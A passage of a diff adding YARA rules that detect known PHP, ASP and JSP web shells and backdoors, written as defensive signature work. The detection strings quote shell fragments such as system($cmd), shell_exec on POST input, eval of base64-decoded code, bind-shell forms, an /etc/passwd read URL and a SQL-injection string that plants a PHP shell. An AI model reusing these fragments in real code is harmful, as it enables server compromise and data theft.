+		$s1 = "else {echo \"<center><b>Unknown extension (\".$ext.\"), please, select type ma"
+		$s3 = "$s = \"!^(\".implode(\"|\",$tmp).\")$!i\";" fullword
+	condition:
+		all of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_1_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, 1.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "if ($total === FALSE) {$total = 0;}" fullword
+		$s1 = "$free_percent = round(100/($total/$free),2);" fullword
+		$s2 = "if (!$bool) {$bool = is_dir($letter.\":\\\\\");}" fullword
+		$s3 = "$bool = $isdiskette = in_array($letter,$safemode_diskettes);" fullword
+	condition:
+		2 of them
+}
+rule _r577_php_php_r57_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash2 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash3 = "817671e1bdc85e04cc3440bbd9288800"
+	strings:
+		$s0 = "$res = mssql_query(\"select * from r57_temp_table\",$db);" fullword
+		$s2 = "'eng_text30'=>'Cat file'," fullword
+		$s3 = "@mssql_query(\"drop table r57_temp_table\",$db);" fullword
+	condition:
+		1 of them
+}
+rule _nixrem_php_php_c99shell_v1_0_php_php_c99php_NIX_REMOTE_WEB_SHELL_v_0_5_alpha_Lite_Public_Version_php {
+	meta:
+		description = "Semi-Auto-generated  - from files nixrem.php.php.txt, c99shell_v1.0.php.php.txt, c99php.txt, NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "40a3e86a63d3d7f063a86aab5b5f92c6"
+		hash1 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash2 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash3 = "f3ca29b7999643507081caab926e2e74"
+	strings:
+		$s0 = "$num = $nixpasswd + $nixpwdperpage;" fullword
+		$s1 = "$ret = posix_kill($pid,$sig);" fullword
+		$s2 = "if ($uid) {echo join(\":\",$uid).\"<br>\";}" fullword
+		$s3 = "$i = $nixpasswd;" fullword
+	condition:
+		2 of them
+}
+
+/* GIF Header webshell */
+
+rule DarkSecurityTeam_Webshell {
+	meta:
+		description = "Dark Security Team Webshell"
+		author = "Florian Roth"
+		hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
+		score = 50
+	strings:
+		$s0 = "form method=post><input type=hidden name=\"\"#\"\" value=Execute(Session(\"\"#\"\"))><input name=thePath value=\"\"\"&HtmlEncode(Server.MapPath(\".\"))&" ascii
+	condition:
+		1 of them
+}
+
+rule GIFCloaked_Webshell_A {
+	meta:
+		description = "Looks like a webshell cloaked as GIF"
+		author = "Florian Roth"
+		hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
+		score = 50
+	strings:
+		$magic = { 47 49 46 38 } /* GIF8 ... */
+		$s0 = "input type"
+		$s1 = "<%eval request"
+		$s2 = "<%eval(Request.Item["
+		$s3 = "LANGUAGE='VBScript'"
+	condition:
+		( $magic at 0 ) and ( 1 of ($s*) )
+		and not filepath contains "AppData"
+}
+
+rule PHP_Cloaked_Webshell_SuperFetchExec {
+	meta:
+		description = "Looks like a webshell cloaked as GIF - http://goo.gl/xFvioC"
+		reference = "http://goo.gl/xFvioC"
+		author = "Florian Roth"
+		score = 50
+	strings:
+		$s0 = "else{$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d);"
+	condition:
+		$s0
+}
+
+/* PHP Webshell Update - August 2014 - deducted from https://github.com/JohnTroony/php-webshells */
+
+rule WebShell_RemExp_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file RemExp.asp.php.txt"
+		author = "Florian Roth"
+		hash = "d9919dcf94a70d5180650de8b81669fa1c10c5a2"
+	strings:
+		$s0 = "lsExt = Right(FileName, Len(FileName) - liCount)" fullword
+		$s7 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f"
+		$s13 = "Response.Write Drive.ShareName & \" [share]\"" fullword
+		$s19 = "If Request.QueryString(\"CopyFile\") <> \"\" Then" fullword
+		$s20 = "<td width=\"40%\" height=\"20\" bgcolor=\"silver\">  Name</td>" fullword
+	condition:
+		all of them
+}
+rule WebShell_dC3_Security_Crew_Shell_PRiV {
+	meta:
+		description = "PHP Webshells Github Archive - file dC3_Security_Crew_Shell_PRiV.php"
+		author = "Florian Roth"
+		hash = "1b2a4a7174ca170b4e3a8cdf4814c92695134c8a"
+	strings:
+		$s0 = "@rmdir($_GET['file']) or die (\"[-]Error deleting dir!\");" fullword
+		$s4 = "$ps=str_replace(\"\\\\\",\"/\",getenv('DOCUMENT_ROOT'));" fullword
+		$s5 = "header(\"Expires: \".date(\"r\",mktime(0,0,0,1,1,2030)));" fullword
+		$s15 = "search_file($_POST['search'],urldecode($_POST['dir']));" fullword
+		$s16 = "echo base64_decode($images[$_GET['pic']]);" fullword
+		$s20 = "if (isset($_GET['rename_all'])) {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_simattacker {
+	meta:
+		description = "PHP Webshells Github Archive - file simattacker.php"
+		author = "Florian Roth"
+		hash = "258297b62aeaf4650ce04642ad5f19be25ec29c9"
+	strings:
+		$s1 = "$from = rand (71,1020000000).\"@\".\"Attacker.com\";" fullword
+		$s4 = "&nbsp;Turkish Hackers : WWW.ALTURKS.COM <br>" fullword
+		$s5 = "&nbsp;Programer : SimAttacker - Edited By KingDefacer<br>" fullword
+		$s6 = "//fake mail = Use victim server 4 DOS - fake mail " fullword
+		$s10 = "&nbsp;e-mail : kingdefacer@msn.com<br>" fullword
+		$s17 = "error_reporting(E_ERROR | E_WARNING | E_PARSE);" fullword
+		$s18 = "echo \"<font size='1' color='#999999'>Dont in windows\";" fullword
+		$s20 = "$Comments=$_POST['Comments'];" fullword
+	condition:
+		2 of them
+}
+rule WebShell_DTool_Pro {
+	meta:
+		description = "PHP Webshells Github Archive - file DTool Pro.php"
+		author = "Florian Roth"
+		hash = "e2ee1c7ba7b05994f65710b7bbf935954f2c3353"
+	strings:
+		$s1 = "function PHPget(){inclVar(); if(confirm(\"O PHPget agora oferece uma lista pront"
+		$s2 = "<font size=3>by r3v3ng4ns - revengans@gmail.com </font>" fullword
+		$s3 = "function PHPwriter(){inclVar();var url=prompt(\"[ PHPwriter ] by r3v3ng4ns\\nDig"
+		$s11 = "//Turns the 'ls' command more usefull, showing it as it looks in the shell" fullword
+		$s13 = "if (@file_exists(\"/usr/bin/wget\")) $pro3=\"<i>wget</i> at /usr/bin/wget, \";" fullword
+		$s14 = "//To keep the changes in the url, when using the 'GET' way to send php variables" fullword
+		$s16 = "function PHPf(){inclVar();var o=prompt(\"[ PHPfilEditor ] by r3v3ng4ns\\nDigite "
+		$s18 = "if(empty($fu)) $fu = @$_GET['fu'];" fullword
+	condition:
+		3 of them
+}
+rule WebShell_ironshell {
+	meta:
+		description = "PHP Webshells Github Archive - file ironshell.php"
+		author = "Florian Roth"
+		hash = "d47b8ba98ea8061404defc6b3a30839c4444a262"
+	strings:
+		$s0 = "<title>'.getenv(\"HTTP_HOST\").' ~ Shell I</title>" fullword
+		$s2 = "$link = mysql_connect($_POST['host'], $_POST['username'], $_POST"
+		$s4 = "error_reporting(0); //If there is an error, we'll show it, k?" fullword
+		$s8 = "print \"<form action=\\\"\".$me.\"?p=chmod&file=\".$content.\"&d"
+		$s15 = "if(!is_numeric($_POST['timelimit']))" fullword
+		$s16 = "if($_POST['chars'] == \"9999\")" fullword
+		$s17 = "<option value=\\\"az\\\">a - zzzzz</option>" fullword
+		$s18 = "print shell_exec($command);" fullword
+	condition:
+		3 of them
+}
+rule WebShell_indexer_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file indexer.asp.php.txt"
+		author = "Florian Roth"
+		hash = "e9a7aa5eb1fb228117dc85298c7d3ecd8e288a2d"
+	strings:
+		$s0 = "<meta http-equiv=\"Content-Language\" content=\"tr\">" fullword
+		$s1 = "<title>WwW.SaNaLTeRoR.OrG - inDEXER And ReaDer</title>" fullword
+		$s2 = "<form action=\"?Gonder\" method=\"post\">" fullword
+		$s4 = "<form action=\"?oku\" method=\"post\">" fullword
+		$s7 = "var message=\"SaNaLTeRoR - " fullword
+		$s8 = "nDexEr - Reader\"" fullword
+	condition:
+		3 of them
+}
+rule WebShell_toolaspshell {
+	meta:
+		description = "PHP Webshells Github Archive - file toolaspshell.php"
+		author = "Florian Roth"
+		hash = "11d236b0d1c2da30828ffd2f393dd4c6a1022e3f"
+	strings:
+		$s0 = "cprthtml = \"<font face='arial' size='1'>RHTOOLS 1.5 BETA(PVT) Edited By KingDef"
+		$s12 = "barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),\"\\\")) - 1" fullword
+		$s20 = "destino3 = folderItem.path & \"\\index.asp\"" fullword
+	condition:
+		2 of them
+}
+rule WebShell_b374k_mini_shell_php_php {
+	meta:
+		description = "PHP Webshells Github Archive - file b374k-mini-shell-php.php.php"
+		author = "Florian Roth"
+		hash = "afb88635fbdd9ebe86b650cc220d3012a8c35143"
+	strings:
+		$s0 = "@error_reporting(0);" fullword
+		$s2 = "@eval(gzinflate(base64_decode($code)));" fullword
+		$s3 = "@set_time_limit(0); " fullword
+	condition:
+		all of them
+}
+rule WebShell_Sincap_1_0 {
+	meta:
+		description = "PHP Webshells Github Archive - file Sincap 1.0.php"
+		author = "Florian Roth"
+		hash = "9b72635ff1410fa40c4e15513ae3a496d54f971c"
+	strings:
+		$s4 = "</font></span><a href=\"mailto:shopen@aventgrup.net\">" fullword
+		$s5 = "<title>:: AventGrup ::.. - Sincap 1.0 | Session(Oturum) B" fullword
+		$s9 = "</span>Avrasya Veri ve NetWork Teknolojileri Geli" fullword
+		$s12 = "while (($ekinci=readdir ($sedat))){" fullword
+		$s19 = "$deger2= \"$ich[$tampon4]\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell_b374k_php {
+	meta:
+		description = "PHP Webshells Github Archive - file b374k.php.php"
+		author = "Florian Roth"
+		hash = "04c99efd187cf29dc4e5603c51be44170987bce2"
+	strings:
+		$s0 = "// encrypt your password to md5 here http://kerinci.net/?x=decode" fullword
+		$s6 = "// password (default is: b374k)"
+		$s8 = "//******************************************************************************"
+		$s9 = "// b374k 2.2" fullword
+		$s10 = "eval(\"?>\".gzinflate(base64_decode("
+	condition:
+		3 of them
+}
+rule WebShell_SimAttacker___Vrsion_1_0_0___priv8_4_My_friend {
+	meta:
+		description = "PHP Webshells Github Archive - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php"
+		author = "Florian Roth"
+		hash = "6454cc5ab73143d72cf0025a81bd1fe710351b44"
+	strings:
+		$s4 = "&nbsp;Iranian Hackers : WWW.SIMORGH-EV.COM <br>" fullword
+		$s5 = "//fake mail = Use victim server 4 DOS - fake mail " fullword
+		$s10 = "<a style=\"TEXT-DECORATION: none\" href=\"http://www.simorgh-ev.com\">" fullword
+		$s16 = "error_reporting(E_ERROR | E_WARNING | E_PARSE);" fullword
+		$s17 = "echo \"<font size='1' color='#999999'>Dont in windows\";" fullword
+		$s19 = "$Comments=$_POST['Comments'];" fullword
+		$s20 = "Victim Mail :<br><input type='text' name='to' ><br>" fullword
+	condition:
+		3 of them
+}
+rule WebShell_h4ntu_shell__powered_by_tsoi_ {
+	meta:
+		description = "PHP Webshells Github Archive - file h4ntu shell [powered by tsoi].php"
+		author = "Florian Roth"
+		hash = "cbca8cd000e705357e2a7e0cf8262678706f18f9"
+	strings:
+		$s11 = "<title>h4ntu shell [powered by tsoi]</title>" fullword
+		$s13 = "$cmd = $_POST['cmd'];" fullword
+		$s16 = "$uname = posix_uname( );" fullword
+		$s17 = "if(!$whoami)$whoami=exec(\"whoami\");" fullword
+		$s18 = "echo \"<p><font size=2 face=Verdana><b>This Is The Server Information</b></font>"
+		$s20 = "ob_end_clean();" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_webshells_MyShell {
+	meta:
+		description = "PHP Webshells Github Archive - file MyShell.php"
+		author = "Florian Roth"
+		hash = "42e283c594c4d061f80a18f5ade0717d3fb2f76d"
+	strings:
+		$s3 = "<title>MyShell error - Access Denied</title>" fullword
+		$s4 = "$adminEmail = \"youremail@yourserver.com\";" fullword
+		$s5 = "//A workdir has been asked for - we chdir to that dir." fullword
+		$s6 = "system($command . \" 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/o"
+		$s13 = "#$autoErrorTrap Enable automatic error traping if command returns error." fullword
+		$s14 = "/* No work_dir - we chdir to $DOCUMENT_ROOT */" fullword
+		$s19 = "#every command you excecute." fullword
+		$s20 = "<form name=\"shell\" method=\"post\">" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_webshells_pws {
+	meta:
+		description = "PHP Webshells Github Archive - file pws.php"
+		author = "Florian Roth"
+		hash = "7a405f1c179a84ff8ac09a42177a2bcd8a1a481b"
+	strings:
+		$s6 = "if ($_POST['cmd']){" fullword
+		$s7 = "$cmd = $_POST['cmd'];" fullword
+		$s10 = "echo \"FILE UPLOADED TO $dez\";" fullword
+		$s11 = "if (file_exists($uploaded)) {" fullword
+		$s12 = "copy($uploaded, $dez);" fullword
+		$s17 = "passthru($cmd);" fullword
+	condition:
+		4 of them
+}
+rule WebShell_reader_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file reader.asp.php.txt"
+		author = "Florian Roth"
+		hash = "70656f3495e2b3ad391a77d5208eec0fb9e2d931"
+	strings:
+		$s5 = "ster\" name=submit> </Font> &nbsp; &nbsp; &nbsp; <a href=mailto:mailbomb@hotmail"
+		$s12 = " HACKING " fullword
+		$s16 = "FONT-WEIGHT: bold; BACKGROUND: #ffffff url('images/cellpic1.gif'); TEXT-INDENT: "
+		$s20 = "PADDING-RIGHT: 8px; PADDING-LEFT: 8px; FONT-WEIGHT: bold; FONT-SIZE: 11px; BACKG"
+	condition:
+		3 of them
+}
+rule WebShell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php"
+		author = "Florian Roth"
+		hash = "db076b7c80d2a5279cab2578aa19cb18aea92832"
+	strings:
+		$s1 = "<option value=\"/etc/passwd\">Get /etc/passwd</option>" fullword
+		$s6 = "by PHP Emperor<xb5@hotmail.com>" fullword
+		$s9 = "\".htmlspecialchars($file).\" has been already loaded. PHP Emperor <xb5@hotmail."
+		$s11 = "die(\"<FONT COLOR=\\\"RED\\\"><CENTER>Sorry... File" fullword
+		$s15 = "if(empty($_GET['file'])){" fullword
+		$s16 = "echo \"<head><title>Safe Mode Shell</title></head>\"; " fullword
+	condition:
+		3 of them
+}
+rule WebShell_Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit {
+	meta:
+		description = "PHP Webshells Github Archive - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php"
+		author = "Florian Roth"
+		hash = "b2b797707e09c12ff5e632af84b394ad41a46fa4"
+	strings:
+		$s4 = "$liz0zim=shell_exec($_POST[liz0]); " fullword
+		$s6 = "$liz0=shell_exec($_POST[baba]); " fullword
+		$s9 = "echo \"<b><font color=blue>Liz0ziM Private Safe Mode Command Execuriton Bypass E"
+		$s12 = " :=) :</font><select size=\"1\" name=\"liz0\">" fullword
+		$s13 = "<option value=\"cat /etc/passwd\">/etc/passwd</option>" fullword
+	condition:
+		1 of them
+}
+rule WebShell_php_backdoor {
+	meta:
+		description = "PHP Webshells Github Archive - file php-backdoor.php"
+		author = "Florian Roth"
+		hash = "b190c03af4f3fb52adc20eb0f5d4d151020c74fe"
+	strings:
+		$s5 = "http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix" fullword
+		$s6 = "// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombi"
+		$s11 = "if(!isset($_REQUEST['dir'])) die('hey,specify directory!');" fullword
+		$s13 = "else echo \"<a href='$PHP_SELF?f=$d/$dir'><font color=black>\";" fullword
+		$s15 = "<pre><form action=\"<? echo $PHP_SELF; ?>\" METHOD=GET >execute command: <input "
+	condition:
+		1 of them
+}
+rule WebShell_Worse_Linux_Shell {
+	meta:
+		description = "PHP Webshells Github Archive - file Worse Linux Shell.php"
+		author = "Florian Roth"
+		hash = "64623ab1246bc8f7d256b25f244eb2b41f543e96"
+	strings:
+		$s4 = "if( $_POST['_act'] == \"Upload!\" ) {" fullword
+		$s5 = "print \"<center><h1>#worst @dal.net</h1></center>\";" fullword
+		$s7 = "print \"<center><h1>Linux Shells</h1></center>\";" fullword
+		$s8 = "$currentCMD = \"ls -la\";" fullword
+		$s14 = "print \"<tr><td><b>System type:</b></td><td>$UName</td></tr>\";" fullword
+		$s19 = "$currentCMD = str_replace(\"\\\\\\\\\",\"\\\\\",$_POST['_cmd']);" fullword
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_pHpINJ {
+	meta:
+		description = "PHP Webshells Github Archive - file pHpINJ.php"
+		author = "Florian Roth"
+		hash = "75116bee1ab122861b155cc1ce45a112c28b9596"
+	strings:
+		$s3 = "echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';" fullword
+		$s10 = "<form action = \"<?php echo \"$_SERVER[PHP_SELF]\" ; ?>\" method = \"post\">" fullword
+		$s11 = "$sql = \"0' UNION SELECT '0' , '<? system(\\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 IN"
+		$s13 = "Full server path to a writable file which will contain the Php Shell <br />" fullword
+		$s14 = "$expurl= $url.\"?id=\".$sql ;" fullword
+		$s15 = "<header>||   .::News PHP Shell Injection::.   ||</header> <br /> <br />" fullword
+		$s16 = "<input type = \"submit\" value = \"Create Exploit\"> <br /> <br />" fullword
+	condition:
+		1 of them
+}
+rule WebShell_php_webshells_NGH {
+	meta:
+		description = "PHP Webshells Github Archive - file NGH.php"
+		author = "Florian Roth"
+		hash = "c05b5deecfc6de972aa4652cb66da89cfb3e1645"
+	strings:
+		$s0 = "<title>Webcommander at <?=$_SERVER[\"HTTP_HOST\"]?></title>" fullword
+		$s2 = "/* Webcommander by Cr4sh_aka_RKL v0.3.9 NGH edition :p */" fullword
+		$s5 = "<form action=<?=$script?>?act=bindshell method=POST>" fullword
+		$s9 = "<form action=<?=$script?>?act=backconnect method=POST>" fullword
+		$s11 = "<form action=<?=$script?>?act=mkdir method=POST>" fullword
+		$s16 = "die(\"<font color=#DF0000>Login error</font>\");" fullword
+		$s20 = "<b>Bind /bin/bash at port: </b><input type=text name=port size=8>" fullword
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_matamu {
+	meta:
+		description = "PHP Webshells Github Archive - file matamu.php"
+		author = "Florian Roth"
+		hash = "d477aae6bd2f288b578dbf05c1c46b3aaa474733"
+	strings:
+		$s2 = "$command .= ' -F';" fullword
+		$s3 = "/* We try and match a cd command. */" fullword
+		$s4 = "directory... Trust me - it works :-) */" fullword
+		$s5 = "$command .= \" 1> $tmpfile 2>&1; \" ." fullword
+		$s10 = "$new_dir = $regs[1]; // 'cd /something/...'" fullword
+		$s16 = "/* The last / in work_dir were the first charecter." fullword
+	condition:
+		2 of them
+}
+rule WebShell_ru24_post_sh {
+	meta:
+		description = "PHP Webshells Github Archive - file ru24_post_sh.php"
+		author = "Florian Roth"
+		hash = "d2c18766a1cd4dda928c12ff7b519578ccec0769"
+	strings:
+		$s1 = "http://www.ru24-team.net" fullword
+		$s4 = "if ((!$_POST['cmd']) || ($_POST['cmd']==\"\")) { $_POST['cmd']=\"id;pwd;uname -a"
+		$s6 = "Ru24PostWebShell"
+		$s7 = "Writed by DreAmeRz" fullword
+		$s9 = "$function=passthru; // system, exec, cmd" fullword
+	condition:
+		1 of them
+}
+rule WebShell_hiddens_shell_v1 {
+	meta:
+		description = "PHP Webshells Github Archive - file hiddens shell v1.php"
+		author = "Florian Roth"
+		hash = "1674bd40eb98b48427c547bf9143aa7fbe2f4a59"
+	strings:
+		$s0 = "<?$d='G7mHWQ9vvXiL/QX2oZ2VTDpo6g3FYAa6X+8DMIzcD0eHZaBZH7jFpZzUz7XNenxSYvBP2Wy36U"
+	condition:
+		all of them
+}
+rule WebShell_c99_madnet {
+	meta:
+		description = "PHP Webshells Github Archive - file c99_madnet.php"
+		author = "Florian Roth"
+		hash = "17613df393d0a99fd5bea18b2d4707f566cff219"
+	strings:
+		$s0 = "$md5_pass = \"\"; //If no pass then hash" fullword
+		$s1 = "eval(gzinflate(base64_decode('"
+		$s2 = "$pass = \"pass\";  //Pass" fullword
+		$s3 = "$login = \"user\"; //Login" fullword
+		$s4 = "             //Authentication" fullword
+	condition:
+		all of them
+}
+rule WebShell_c99_locus7s {
+	meta:
+		description = "PHP Webshells Github Archive - file c99_locus7s.php"
+		author = "Florian Roth"
+		hash = "d413d4700daed07561c9f95e1468fb80238fbf3c"
+	strings:
+		$s8 = "$encoded = base64_encode(file_get_contents($d.$f)); " fullword
+		$s9 = "$file = $tmpdir.\"dump_\".getenv(\"SERVER_NAME\").\"_\".$db.\"_\".date(\"d-m-Y"
+		$s10 = "else {$tmp = htmlspecialchars(\"./dump_\".getenv(\"SERVER_NAME\").\"_\".$sq"
+		$s11 = "$c99sh_sourcesurl = \"http://locus7s.com/\"; //Sources-server " fullword
+		$s19 = "$nixpwdperpage = 100; // Get first N lines from /etc/passwd " fullword
+	condition:
+		2 of them
+}
+rule WebShell_JspWebshell_1_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file JspWebshell_1.2.php"
+		author = "Florian Roth"
+		hash = "0bed4a1966117dd872ac9e8dceceb54024a030fa"
+	strings:
+		$s0 = "System.out.println(\"CreateAndDeleteFolder is error:\"+ex); " fullword
+		$s1 = "String password=request.getParameter(\"password\");" fullword
+		$s3 = "<%@ page contentType=\"text/html; charset=GBK\" language=\"java\" import=\"java."
+		$s7 = "String editfile=request.getParameter(\"editfile\");" fullword
+		$s8 = "//String tempfilename=request.getParameter(\"file\");" fullword
+		$s12 = "password = (String)session.getAttribute(\"password\");" fullword
+	condition:
+		3 of them
+}
+rule WebShell_safe0ver {
+	meta:
+		description = "PHP Webshells Github Archive - file safe0ver.php"
+		author = "Florian Roth"
+		hash = "366639526d92bd38ff7218b8539ac0f154190eb8"
+	strings:
+		$s3 = "$scriptident = \"$scriptTitle By Evilc0der.com\";" fullword
+		$s4 = "while (file_exists(\"$lastdir/newfile$i.txt\"))" fullword
+		$s5 = "else { /* <!-- Then it must be a File... --> */" fullword
+		$s7 = "$contents .= htmlentities( $line ) ;" fullword
+		$s8 = "<br><p><br>Safe Mode ByPAss<p><form method=\"POST\">" fullword
+		$s14 = "elseif ( $cmd==\"upload\" ) { /* <!-- Upload File form --> */ " fullword
+		$s20 = "/* <!-- End of Actions --> */" fullword
+	condition:
+		3 of them
+}
+rule WebShell_Uploader {
+	meta:
+		description = "PHP Webshells Github Archive - file Uploader.php"
+		author = "Florian Roth"
+		hash = "e216c5863a23fde8a449c31660fd413d77cce0b7"
+	strings:
+		$s1 = "move_uploaded_file($userfile, \"entrika.php\"); " fullword
+	condition:
+		all of them
+}
+rule WebShell_php_webshells_kral {
+	meta:
+		description = "PHP Webshells Github Archive - file kral.php"
+		author = "Florian Roth"
+		hash = "4cd1d1a2fd448cecc605970e3a89f3c2e5c80dfc"
+	strings:
+		$s1 = "$adres=gethostbyname($ip);" fullword
+		$s3 = "curl_setopt($ch,CURLOPT_POSTFIELDS,\"domain=\".$site);" fullword
+		$s4 = "$ekle=\"/index.php?option=com_user&view=reset&layout=confirm\";" fullword
+		$s16 = "echo $son.' <br> <font color=\"green\">Access</font><br>';" fullword
+		$s17 = "<p>kodlama by <a href=\"mailto:priv8coder@gmail.com\">BLaSTER</a><br /"
+		$s20 = "<p><strong>Server listeleyici</strong><br />" fullword
+	condition:
+		2 of them
+}
+rule WebShell_cgitelnet {
+	meta:
+		description = "PHP Webshells Github Archive - file cgitelnet.php"
+		author = "Florian Roth"
+		hash = "72e5f0e4cd438e47b6454de297267770a36cbeb3"
+	strings:
+		$s9 = "# Author Homepage: http://www.rohitab.com/" fullword
+		$s10 = "elsif($Action eq \"command\") # user wants to run a command" fullword
+		$s18 = "# in a command line on Windows NT." fullword
+		$s20 = "print \"Transfered $TargetFileSize Bytes.<br>\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell_simple_backdoor {
+	meta:
+		description = "PHP Webshells Github Archive - file simple-backdoor.php"
+		author = "Florian Roth"
+		hash = "edcd5157a68fa00723a506ca86d6cbb8884ef512"
+	strings:
+		$s0 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->" fullword
+		$s1 = "<!--    http://michaeldaw.org   2006    -->" fullword
+		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
+		$s3 = "        echo \"</pre>\";" fullword
+		$s4 = "        $cmd = ($_REQUEST['cmd']);" fullword
+		$s5 = "        echo \"<pre>\";" fullword
+		$s6 = "if(isset($_REQUEST['cmd'])){" fullword
+		$s7 = "        die;" fullword
+		$s8 = "        system($cmd);" fullword
+	condition:
+		all of them
+}
+rule WebShell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php"
+		author = "Florian Roth"
+		hash = "8fdd4e0e87c044177e9e1c97084eb5b18e2f1c25"
+	strings:
+		$s1 = "<option value=\"/etc/passwd\">Get /etc/passwd</option>" fullword
+		$s3 = "xb5@hotmail.com</FONT></CENTER></B>\");" fullword
+		$s4 = "$v = @ini_get(\"open_basedir\");" fullword
+		$s6 = "by PHP Emperor<xb5@hotmail.com>" fullword
+	condition:
+		2 of them
+}
+rule WebShell_NTDaddy_v1_9 {
+	meta:
+		description = "PHP Webshells Github Archive - file NTDaddy v1.9.php"
+		author = "Florian Roth"
+		hash = "79519aa407fff72b7510c6a63c877f2e07d7554b"
+	strings:
+		$s2 = "|     -obzerve : mr_o@ihateclowns.com |" fullword
+		$s6 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword
+		$s13 = "<form action=ntdaddy.asp method=post>" fullword
+		$s17 = "response.write(\"<ERROR: THIS IS NOT A TEXT FILE>\")" fullword
+	condition:
+		2 of them
+}
+rule WebShell_lamashell {
+	meta:
+		description = "PHP Webshells Github Archive - file lamashell.php"
+		author = "Florian Roth"
+		hash = "b71181e0d899b2b07bc55aebb27da6706ea1b560"
+	strings:
+		$s0 = "if(($_POST['exe']) == \"Execute\") {" fullword
+		$s8 = "$curcmd = $_POST['king'];" fullword
+		$s16 = "\"http://www.w3.org/TR/html4/loose.dtd\">" fullword
+		$s18 = "<title>lama's'hell v. 3.0</title>" fullword
+		$s19 = "_|_  O    _    O  _|_" fullword
+		$s20 = "$curcmd = \"ls -lah\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Simple_PHP_backdoor_by_DK {
+	meta:
+		description = "PHP Webshells Github Archive - file Simple_PHP_backdoor_by_DK.php"
+		author = "Florian Roth"
+		hash = "03f6215548ed370bec0332199be7c4f68105274e"
+	strings:
+		$s0 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->" fullword
+		$s1 = "<!--    http://michaeldaw.org   2006    -->" fullword
+		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
+		$s6 = "if(isset($_REQUEST['cmd'])){" fullword
+		$s8 = "system($cmd);" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Moroccan_Spamers_Ma_EditioN_By_GhOsT {
+	meta:
+		description = "PHP Webshells Github Archive - file Moroccan Spamers Ma-EditioN By GhOsT.php"
+		author = "Florian Roth"
+		hash = "31e5473920a2cc445d246bc5820037d8fe383201"
+	strings:
+		$s4 = "$content = chunk_split(base64_encode($content)); " fullword
+		$s12 = "print \"Sending mail to $to....... \"; " fullword
+		$s16 = "if (!$from && !$subject && !$message && !$emaillist){ " fullword
+	condition:
+		all of them
+}
+rule WebShell_C99madShell_v__2_0_madnet_edition {
+	meta:
+		description = "PHP Webshells Github Archive - file C99madShell v. 2.0 madnet edition.php"
+		author = "Florian Roth"
+		hash = "f99f8228eb12746847f54bad45084f19d1a7e111"
+	strings:
+		$s0 = "$md5_pass = \"\"; //If no pass then hash" fullword
+		$s1 = "eval(gzinflate(base64_decode('"
+		$s2 = "$pass = \"\";  //Pass" fullword
+		$s3 = "$login = \"\"; //Login" fullword
+		$s4 = "//Authentication" fullword
+	condition:
+		all of them
+}
+rule WebShell_CmdAsp_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file CmdAsp.asp.php.txt"
+		author = "Florian Roth"
+		hash = "cb18e1ac11e37e236e244b96c2af2d313feda696"
+	strings:
